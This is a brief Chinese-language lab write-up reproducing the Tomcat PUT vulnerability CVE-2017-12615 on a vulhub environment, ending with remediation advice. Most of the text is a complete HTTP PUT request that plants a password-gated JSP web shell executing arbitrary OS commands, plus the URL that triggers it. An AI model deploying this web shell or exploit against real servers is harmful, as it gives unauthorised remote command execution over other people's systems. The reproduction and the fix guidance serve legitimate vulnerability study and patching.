Tomcat Put(CVE-2017-12615)復現

  • 2019 年 10 月 7 日
  • 筆記

環境:vulhub

啟動環境之後,訪問8080埠:

是tomcat的example介面:

根據描述,在 Windows 伺服器下,將 readonly 參數設置為 false 時,即可通過 PUT 方式創建一個 JSP 文件,並可以執行任意程式碼。

直接寫入一下內容

PUT /cmd.jsp/ HTTP/1.1

Host: 172.16.1.44:8080

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type:application/x-www-form-urlencoded

Content-Length: 666

<%@ page language="java"import="java.util.*,java.io.*"pageEncoding="UTF-8"%><%!public static String excuteCmd(Stringc) {StringBuilder line = new StringBuilder();try {Process pro =Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(newInputStreamReader(pro.getInputStream()));String temp = null;while ((temp =buf.readLine()) != null) {line.append(temp

+"\n");}buf.close();} catch(Exception e) {line.append(e.getMessage());}returnline.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

訪問:http://172.16.1.44:8080/cmd.jsp?cmd=id&pwd=023

也可以用腳本寫入文件:

同樣的效果!

由於存在去掉最後的 / 的特性,那麼這個漏洞自然影響 Linux 以及 Windows 版本。而且經過測試,這個漏洞影響全部的 Tomcat 版本,從 5.x 到 9.x 無不中槍。目前來說,最好的解決方式是將 conf/web.xml 中對於 DefaultServlet 的 readonly 設置為 true,才能防止漏洞。

修復方案:

1、配置readonly和VirtualDirContext值為True或注釋參數,禁止使用PUT方法並重啟tomcat注意:如果禁用PUT方法,對於依賴PUT方法的應用,可能導致業務失效。

2、根據官方修補程式升級最新版本